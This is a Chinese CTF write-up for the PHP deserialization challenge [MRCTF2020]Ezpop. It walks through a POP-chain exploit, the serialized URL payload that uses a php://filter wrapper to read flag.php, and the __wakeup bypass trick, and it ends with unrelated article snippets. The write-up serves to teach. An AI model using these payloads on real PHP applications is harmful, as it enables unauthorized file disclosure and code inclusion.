pop链反序列化 [MRCTF2020]Ezpop1

打开题目

网站源码为

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
} 

代码审计一下,首先flag在flag.php下面

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);

如果我们get方法传入一个pop函数,并且用isset函数检查变量是否被设置,是不是值为null,如果存在且不为null,则反序列化我们传入的pop参数

如果pop参数未被设置则将Show类的值赋值给a,highlight_file(__FILE__); 用于将当前文件的源代码输出到浏览器

那我们接下来看看Show的类

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php"

首先在这里我们定义了一个名为Show的类,将$source和$str设置为公有属性,将index.php赋值给$file,并定义方法。定义$source的来源为$file参数,然后输出。

  1. $file='index.php' 这个语法意味着,如果构造函数没有收到参数,$file 将默认被设置为 'index.php'。这在构造实例时提供了一个默认值,如果实例化类时没有传递参数,就会使用这个默认文件名。

  2. $this->source = $file; 将构造函数中接收到的文件名赋值给了类的 $source 属性。这使得类的实例在创建时就有了一个文件路径的来源

用tostring方法返回其字符串类型,用wakeup方法,if语句,如果$source包含/gopher,http,file,ftp,https,dict,\.\./i等字眼,则输出hacker,若不包含,则返回源代码

构造payload:

首先在Modifier类中,有文件包含说明我们要调用include函数,要调用include函数就要用到append函数,append函数需要invoke函数触发,__invoke()调用的条件就是Modifier被调用为函数的时候

在这里,我们可以利用__get()方法,_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

我们用__toString() 返回Show类的属性str中的属性source,但是test中没有source属性 所以成功调用get方法

    __toString()直接输出对象引用的时候,不产生报错。快速获取对象的字符串信息的便捷方式。

调用Show类的__toString()方法:就利用Show的__construct方法触发,把source赋值为Show类

所以,我们调用函数的顺序就是:
__construct->__toString()->__get()->__invoke()->append->文件包含

payload:

对我们的函数进行序列化

<?php
class Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;public function __construct(){$this->str = new Test();}
}
class Test{public $p;}$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();echo urlencode(serialize($a));?>

在phpstudy打开

get传参得到

/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D

我们base64解密一下得到

知识点:

  • _construct()方法

创建构造函数的语法格式如下:

public function __construct(参数列表){
    ... ...
}

其中,参数列表是可选的,不需要时可以省略。

构造函数就是当对象被创建时,类中被自动调用的第一个函数,并且一个类中只能存在一个构造函数。和普通函数类似构造函数也可以带有参数,如果构造函数有参数的话,那么在实例化也需要传入对应的参数,例如 new Students($name, $age)
 

  • _toString()方法

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

  • _invoke()方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

  • append()函数

PHP中ArrayObject类的append()函数用于将给定值附加到ArrayObject上。附加的值可以是单个值,也可以是数组本身

_wakeup()方法漏洞

  • 什么是_wakeup()方法?

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数

例:

class Example {
    public $a = 1;
    public $b = 2;

    public function __wakeup() {
        $this->a *= 2;
        $this->b *= 2;
    }
}

$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它具有两个公共属性 $a 和 $b。在 __wakeup() 方法中,我们将 $a 和 $b 的值各自乘以 2。然后我们序列化一个 Example 对象,并使用 unserialize() 函数将其还原为 PHP 对象。最后,我们使用 var_dump() 函数输出这个对象。运行这个脚本

object(Example)#2 (2) {
  ["a"]=>
  int(2)
  ["b"]=>
  int(4)
}

我们用 __wakeup() 方法成功地修改了 $a$b 的值。

  • wakeup()方法的绕过

__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。
 

当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。


攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多

  • wakeup()方法绕过应用举例

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}

  • 什么是pop链

从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者的目的

说白了,POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

  • 常见的魔术方法
__construct()  //当对象创建时触发
__destruct()   //当对象销毁时触发
__wakeup()     //当使用unserialize时触发
__sleep()     //当使用serialize时触发
__destruct()  //当对象被销毁时触发
__call()      //当对象上下文中调用不可访问的方法时触发
__get()       //当访问不可访问或不存在的属性时触发
__set()       //当设置不可访问或不存在属性时触发
__toString()  //当把类当作字符串使用时触发
__invoke()    //当对象调用为函数时触发

wp参考:[MRCTF2020]Ezpop 1——pop链的反序列化_反序列化[mrctf2020]ezpop1-CSDN博客

 知识点源于:CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞_Eason_LYC的博客-CSDN博客

php反序列化漏洞之POP链构造 - 简书

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/217348.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件设计师:计算机组成与体系结构之计算机基础知识

计算机基础知识 数据的表示 码制及进制转换 原码&#xff1a;将数值转成二进制反码&#xff1a;正数与原码完全相同&#xff1b;负数&#xff0c;除了符号位其他位取反补码&#xff1a;正数与原码完全相同&#xff1b;负数&#xff0c;在补码的基础上加1移码&#xff1a;补码…

Node.js下载安装及配置镜像源

一、进入官网地址下载安装包 https://nodejs.org/dist 选择对应你系统的Node.js版本 这里我选择的是Windows系统、64位 二、安装程序 &#xff08;1&#xff09;下载完成后&#xff0c;双击安装包&#xff0c;开始安装Node.js (2)直接点【Next】按钮&#xff0c;此处可根据…

CUDA编程二、C++和cuda混合编程的一些基础知识点

目录 一、C运行过程 1、C编译过程 2、代码运行示例 单文件 多文件 a、编译所有cpp文件&#xff0c;但是不链接 b、链接所有的.o文件 c、运行程序 CMake编译 代码 使用方法 编译过程 代码运行 二、C和cuda混合编程 cuda 单文件 cuda和C多文件 手动分步编译 C…

【学习草稿】pid控制基础实现--往水桶注水

pid 1&#xff09;非常通俗易懂的PID控制&#xff08;1&#xff09;https://zhuanlan.zhihu.com/p/37515841 球场上运动至指定地点&#xff08;比例控制&#xff09;&#xff1a;有图【很直观的帮助理解】&有文字分析 2&#xff09;初识PID-搞懂PID概念 https://zhuanlan.…

MySQL-03-索引

索引是提高MySQL查询性能的一个重要途径&#xff0c;但过多的索引可能会导致过高的磁盘使用率以及过高的内存占用&#xff0c;从而影响应用程序的整体性能。应当尽量避免事后才想起添加索引&#xff0c;因为事后可能需要监控大量的SQL才能定位到问题所在&#xff0c;而且添加索…

【问题思考总结】多维随机变量函数的分布的两种情况的计算方法【离连/连连】

问题 今天做李六第一套的时候发现&#xff0c;有的时候&#xff0c;面对这种第二问的题&#xff0c;很自然地就想到了Fz&#xff08;z&#xff09;&#xff0c;然后进行化简&#xff0c;但是有的时候&#xff0c;像这道题&#xff0c;就突然发现P{XY<z}是一个非常复杂的形式…

The Bridge:从临床数据到临床应用(预测模型总结)

The Bridge:从临床数据到临床应用&#xff08;预测模型总结&#xff09; 如果说把临床预测模型比作临床数据和临床应用之间的一座“桥梁”&#xff0c;那它应该包括这样几个环节&#xff1a;模型的构建和评价、模型的概率矫正、模型决策阈值的确定和模型的局部再评价。 模型的构…

【从浅识到熟知Linux】基本指令之date和cal

&#x1f388;归属专栏&#xff1a;从浅学到熟知Linux &#x1f697;个人主页&#xff1a;Jammingpro &#x1f41f;每日一句&#xff1a;一篇又一篇&#xff0c;学写越上头。好像真的上头了~~ 文章前言&#xff1a;本文介绍date和cal指令用法并给出示例和截图。 文章目录 date…

为什么别人能做好CSGO游戏搬砖,而你不能?

CSGO搬砖日常出货更新 做Steam游戏搬砖的门槛很低&#xff0c;以至于这两年不断有小白涌入市场&#xff0c;想要在饰品市场中分一杯羹。这个项目是很简单&#xff0c;但想要站稳脚跟&#xff0c;有稳定收入的第一步就得搞清楚项目逻辑。 首先你得搞清楚&#xff0c;steam搬砖盈…

搜索引擎---项目测试

一)项目背景: 首先介绍一下项目:项目的目标是实现一个基于JAVAAPI的站内搜索引擎 java官方文档是在学习java语言中不可或缺的权威资料&#xff0c;相比于各种网站的Java资料&#xff0c;官方文档无论是语言表达还是组织方式都要更加全面和准确&#xff0c;因为没有人比作者更加…

数据结构与算法编程题24

中序遍历非递归算法 #define _CRT_SECURE_NO_WARNINGS#include <iostream> using namespace std;typedef char ElemType; #define ERROR 0 #define OK 1 #define Maxsize 100 #define STR_SIZE 1024typedef struct BiTNode {ElemType data;BiTNode* lchild, * rchild; }B…